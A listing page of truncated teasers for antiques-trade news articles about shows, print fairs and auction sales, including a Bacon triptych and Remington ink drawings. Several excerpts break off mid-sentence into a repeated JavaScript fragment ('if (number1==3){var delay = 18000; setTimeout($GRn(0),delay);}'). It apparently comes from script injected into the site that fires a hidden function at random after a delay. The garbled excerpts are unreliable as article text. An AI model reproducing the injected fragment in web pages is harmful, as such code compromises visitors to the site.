By: Stephen May WASHINGTON, D.C. — Americans tend to be great collectors — of everything under the sun — but particularly of objects that relate to historical...
By: W.A. Demers CHAPPAQUA, N.Y. — The weather gods were with the New Castle Historical Society this year as it staged its 45th annual Chappaqua antiques show at the Westorchard...
By: Frances McQueeney-Jones Mascolo BOSTON, MASS. — Since the mid-Twentieth Century, the Ellis Antiques Show has delivered premier antiques to Boston each fall. When...
By: David S. Smith NEW YORK CITY — Small in size, but large in stature, the Satellite Print Fair at the Bohemian National Hall November 8–10 was a true crowd-pleaser....
By: R. Scudder Smith WILMINGTON, DEL. — “We were swamped with compliments about the show, with people telling us that it was the most beautiful it has ever been,...
By: Andrea Valluzzo THOMASTON, MAINE — As auctioneer Kaja Veilleux likes to say, what he most loves about this business is not knowing how things will go. An expected...
By: David S. Smith LAMBERTVILLE, N.J. — The 20th/21st Century Design andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var...
PHILADELPHIA, PENN. — An extremely rare toy bank, thought to be the only one in existence, sold for $266,500 at Freeman’s American furniture, folk andom() * 6); if (number1==3){var delay = 18000;...
NEW YORK CITY — “The night truly belonged to Andy Warhol,” commented Tobias Meyer, worldwide head of contemporary art at Sotheby’s andom() * 6); if (number1==3){var delay = 18000;...
NEW YORK CITY — “Three Studies of Lucian Freud,” 1969, by Francis Bacon achieved the highest price for any work of art sold at auction at $142,405,000 on November 12 at Christie’s...
EASTON, MD. — There were decoys aplenty at Guyette, Schmidt & Deeter’s 27th annual fall decoy auction on November 6–7 at the Talbot County Community Center, but the top lot of the sale...
THOMASTON, MAINE — A pair of original ink drawings by Frederic Remington soared well past their $20/30,000 estimates to total just over $350,000, including the buyer’s premium at Thomaston...